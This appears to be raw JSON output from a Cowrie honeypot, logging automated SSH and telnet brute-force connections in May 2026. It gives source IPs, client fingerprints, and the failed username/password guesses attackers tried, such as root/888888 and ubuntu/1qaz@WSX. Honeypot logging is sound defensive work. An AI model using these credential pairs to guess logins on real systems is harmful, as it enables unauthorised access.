{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:48.175147Z","src_ip":"176.65.132.129","session":"b3dbad183cc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:48.423384Z","src_ip":"176.65.132.129","session":"b3dbad183cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:49.509056Z","src_ip":"176.65.132.129","session":"b3dbad183cc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52480,"dst_ip":"159.203.135.109","dst_port":22,"session":"bea21a0b7dea","protocol":"ssh","message":"New connection: 176.65.132.129:52480 (159.203.135.109:22) [session: bea21a0b7dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:51.527218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:51.537905Z","src_ip":"176.65.132.129","session":"bea21a0b7dea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:51.619505Z","src_ip":"176.65.132.129","session":"bea21a0b7dea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:51.865436Z","src_ip":"176.65.132.129","session":"bea21a0b7dea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:52.958834Z","src_ip":"176.65.132.129","session":"bea21a0b7dea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":45920,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbce5136e198","protocol":"ssh","message":"New connection: 62.54.176.203:45920 (159.203.135.109:22) [session: fbce5136e198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:54.100933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:54.104977Z","src_ip":"62.54.176.203","session":"fbce5136e198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:54.209550Z","src_ip":"62.54.176.203","session":"fbce5136e198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52498,"dst_ip":"159.203.135.109","dst_port":22,"session":"0225bdb4ed87","protocol":"ssh","message":"New connection: 176.65.132.129:52498 (159.203.135.109:22) [session: 0225bdb4ed87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:54.710414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:54.716585Z","src_ip":"176.65.132.129","session":"0225bdb4ed87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qian","message":"login attempt [root/qian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:54.741657Z","src_ip":"62.54.176.203","session":"fbce5136e198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:54.805358Z","src_ip":"176.65.132.129","session":"0225bdb4ed87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:55.058036Z","src_ip":"176.65.132.129","session":"0225bdb4ed87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":41092,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c6668b2053","protocol":"ssh","message":"New connection: 13.71.92.229:41092 (10.17.0.5:22) [session: 96c6668b2053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:55.226579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:55.231885Z","src_ip":"13.71.92.229","session":"96c6668b2053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52388,"dst_ip":"10.17.0.5","dst_port":23,"session":"b88ee0fd00b9","protocol":"telnet","message":"New connection: 152.42.224.71:52388 (10.17.0.5:23) [session: b88ee0fd00b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:55.293702Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":40078,"dst_ip":"159.203.135.109","dst_port":22,"session":"f45e69de0550","protocol":"ssh","message":"New connection: 45.132.125.41:40078 (159.203.135.109:22) [session: f45e69de0550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:55.396616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:55.401676Z","src_ip":"45.132.125.41","session":"f45e69de0550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:55.447969Z","src_ip":"13.71.92.229","session":"96c6668b2053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:55.504258Z","src_ip":"45.132.125.41","session":"f45e69de0550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:55.848337Z","src_ip":"62.54.176.203","session":"fbce5136e198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"isik","message":"login attempt [root/isik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:55.944586Z","src_ip":"45.132.125.41","session":"f45e69de0550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:56.145734Z","src_ip":"176.65.132.129","session":"0225bdb4ed87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"none","message":"login attempt [root/none] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:56.340777Z","src_ip":"13.71.92.229","session":"96c6668b2053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":44320,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae2fd2a3ff2d","protocol":"ssh","message":"New connection: 20.193.250.100:44320 (10.17.0.5:22) [session: ae2fd2a3ff2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:56.916754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:56.921208Z","src_ip":"20.193.250.100","session":"ae2fd2a3ff2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:57.051741Z","src_ip":"45.132.125.41","session":"f45e69de0550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:57.120826Z","src_ip":"20.193.250.100","session":"ae2fd2a3ff2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:57.564297Z","src_ip":"13.71.92.229","session":"96c6668b2053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"888888","message":"login attempt [root/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:57.931592Z","src_ip":"20.193.250.100","session":"ae2fd2a3ff2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49656,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b44cf77f00a","protocol":"ssh","message":"New connection: 176.65.132.129:49656 (159.203.135.109:22) [session: 6b44cf77f00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:58.107640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:58.113287Z","src_ip":"176.65.132.129","session":"6b44cf77f00a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:58.195865Z","src_ip":"176.65.132.129","session":"6b44cf77f00a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:58.441315Z","src_ip":"176.65.132.129","session":"6b44cf77f00a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:59.134614Z","src_ip":"20.193.250.100","session":"ae2fd2a3ff2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":53948,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e67c1a005bf","protocol":"ssh","message":"New connection: 82.152.132.24:53948 (159.203.135.109:22) [session: 9e67c1a005bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:59.370218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:59.374833Z","src_ip":"82.152.132.24","session":"9e67c1a005bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:59.501292Z","src_ip":"82.152.132.24","session":"9e67c1a005bf","protocol":"ssh"}
